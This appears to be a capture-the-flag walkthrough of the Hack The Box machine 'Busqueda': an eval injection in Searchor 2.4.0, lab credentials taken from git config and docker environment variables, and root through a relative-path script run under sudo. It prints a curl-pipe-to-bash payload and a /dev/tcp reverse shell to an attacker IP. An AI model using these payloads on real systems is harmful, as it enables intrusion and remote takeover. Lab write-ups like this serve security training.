Hack The Box: Busqueda
Overview
- Identify and exploit the vulnerable of Searchor
- Enumerate logs from a git repository to find user crendentials
- As this user, run a python script that lets us inspect enviroment variables from docker containers
- Obtain administrator credentials to log in gitea
- Analyze the script to spot a path misuse from an imported file
- Get root
Nmap
danp@local:~|⇒ nmap -sV -sC 10.10.11.208
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 21:04 -03
Nmap scan report for 10.10.11.208
Host is up (0.094s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.75 seconds
-sV
: Enumerate versions from the services-sC
: Run some nmap’s default scripts
We can see that we get redirected to searcher.htb
, let’s update our /etc/hosts
file:
danp@local:~|⇒ cat /etc/hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
10.10.11.208 searcher.htb
Taking a look at the website we see a couple of interesting info:
Before we even interact with the app, let’s do a quick google search for possible exploits for this version.
Searchor 2.4.0
This Snyk page tells us that our version is vulnerable to arbitrary command execution due to an unsafe use of eval
. That’s a very strong cadidate for us to exploit, let’s try to find on the github repository the vulnerable code to see our case applies and we can exploit it. Since Snyk told us that version 2.4.2 is fixed, let’s see its release page:
Fortunately we see a reference for the patch commit
We see the vulnerable code highlighted in red. It takes what appers to be two users’ input and throws them part of the arguments for the eval
function. This function will basically take any string passed as argument as code and execute it no questions asked, we have spot our vulnerability here.
Let’s go back a bit to see how we can send those values, engine
and query
to the server. As we saw above, the website has only one form, let’s intercept it wih burp:
Perfect, we control both of the variables, let’s build our payload. The original function is:
url = eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open}))"
Our payload would look something like this on the server side:
url = eval(f"Engine.{engine}.search('',__import__('os').system('curl 10.10.14.71/index.html | bash'))#'))"
Since everything after the #
is commented out we don’t need to send them on our request. The payload we send is:
',__import__('os').system('curl 10.10.14.71/index.html | bash'))#
the index.html
file is just a trick to download a bash script without specifying a filename and auto execute it with the pipe (|) bash
This is what the index.html
file looks like:
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.71/9001 0>&1
We successfuly get a shell as svc
user:
We can read user.txt
with this user, now let’s focus on elevate our privileges.
$ whoami
svc
$ cat user.txt
1e9<redacted>83b9
Shell as svc
Now that we have internal access, let’s begin our enumeration!
Inside the /home
folder of svc
, we see a .gitconfig
$ cat .gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
Let’s save this cody user for future references. Browsing to /var/www/app/
we detect that it is a git folder. Let’s take a look at the logs
$ git log
commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4
Author: administrator <administrator@gitea.searcher.htb>
Date: Sun Dec 25 12:14:21 2022 +0000
Initial commit
We spot another name gitea.searcher.htb
, adding it to our /etc/hosts
file…
We find a gitea page but no creds 😢. While I was doing the box I hoped to find commits from the cody
user we saw earlier, so I grepped his name inside the /var/www/app
folder recursively. To my surprise the output was better than expected
$ grep -ir "cody" 2>/dev/null
.git/config: url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
we get cody:jh1usoih2bkjaspwe92
as credentials. Using this credential to login to gitea does not give any new information to us, so it’s no use here. However, it password can be used to ssh in as svc
.
- User: svc
- Password: jh1usoih2bkjaspwe92
Detecting Root Path
sudo -l
reveals that we can run a particular python script as root. Let’s try to exploit it to get root.
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Unfortunately we cannot read the source, so let’s just run it to see what it does
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
We can run three differente commands as described above. Running the docker-ps
argument we get:
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
[sudo] password for svc:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 8 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 8 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
We see two containers running the gitea service, one for the app and the other serving as database. If you a are a little bit familiar with docker containers and how they interact with each other on the same docker network, it is very common to send values through environment variables. The docker-inspect
argument can help us with this.
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect "{{json .Config.Env }}" gitea | jq
[
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
]
We find a credential gitea:yuiu1hoiu4i5ho1uh
but it does not help us much right now. After struggling a little here, I decided to try this password with the administrator user we saw earlier on the gitea app.
Exploiting some python scripts
Luckly we get in! Accessing the /scripts
repository, it lets us see the code from the script folder. (Line 45 - 52)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
We see a vulnerability here. If we call the full-checkup option, the script tries to run a ./full-checkup.sh
from our current directory, it should have specified /opt/scripts/full-checkup.sh
as it was doing for the rest. All we have to do is create another full-checkup.sh
in a differente folder to execute any code we want.
Using the same code as before to spawn a shell
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.71/9001 0>&1
Save that to /dev/shm/full-checkup.sh
and run sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
from the /dev/shm
folder. (Don’t forget to chmod +x full-checkup.sh
😎)
That’s all folks 🐇